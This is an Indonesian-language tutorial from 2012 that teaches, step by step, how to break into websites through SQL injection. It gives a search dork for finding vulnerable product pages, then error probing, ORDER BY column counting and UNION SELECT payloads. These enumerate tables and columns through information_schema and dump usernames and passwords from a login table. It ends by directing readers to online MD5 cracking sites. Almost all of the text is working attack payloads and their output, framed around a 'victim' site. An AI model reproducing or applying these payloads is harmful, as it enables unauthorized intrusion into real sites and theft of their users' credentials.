Dork : inurl:product.php?id=
http://www.victim.com/detailproduct.php?id=75
untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
Code:
http://www.victim.com/detailproduct.php?id=75'
ternyata ada bug-nya, muncul pesan error :
Code:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
Untuk mencari column gunakan perintah [ order by ]
Code:
http://www.victim.com/detailproduct.php?id=75 order by 1--
dimulai dengan angka 1, selanjutnya 2, dst sampai muncul pesan error
pada target kita kali ini, error muncul pada angka 19
Code:
http://www.victim.com/detailproduct.php?id=75 order by 19--
muncul pesan error:
Unknown column '19' in 'order clause'
jadi angka yang diambil adalah 19-1 = 18 (jumlah column adalah 18)
Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah "union all select"
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75
akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3
trus kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 3
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
muncul tulisan :
5.0.90-community
wewww...ternyata versi 5, klo versi 4 sy angkat tangan.....wkwkwkwk :p
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema,
dimana information_schema tidak terdapat pada database MySql versi 4. Jadi kalau targetnya mempunyai database MySQL versi 4,
yang kita lakukan yaitu menebak-nebak tablenya... lol
Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib
dan "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 18
Code:
http://www.victim.com/detailproduct.php?id=-75
union all select
1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where
table_schema=database()--
akan muncul nama-nama table :
Code:
login,tbanner,tcatprod,tproduct,tset
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://cyber4rt.com/~converter
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e
Perintah selanjutnya adalah "group_concat(column_name)" pada angka
ajaib 3 dan "+from+information_schema.columns+where+table_name=0xHEXA--"
di akhir URL
ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--
muncul column : user,pass
untuk melihat isi dari kedua column tersebut gunakan perintah
"group_concat(column1,0x3a,column2)" pada angka ajaib 3 dan
+from+NAMATABLE-- pada akhir URL
ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama "login"
Code:
http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+login--
hasil : admin:admin
jadi,
user = admin
password = admin
nb : Jika ada yang mendapatkan password yang berupa MD5 seperti
"21232f297a57a5a743894a0e4a801fc3" atau yang lainnya, silahkan anda hash
di sini http://hashchecker.de/find.html atau di http://www.md5decrypter.co.uk
Monday, September 10, 2012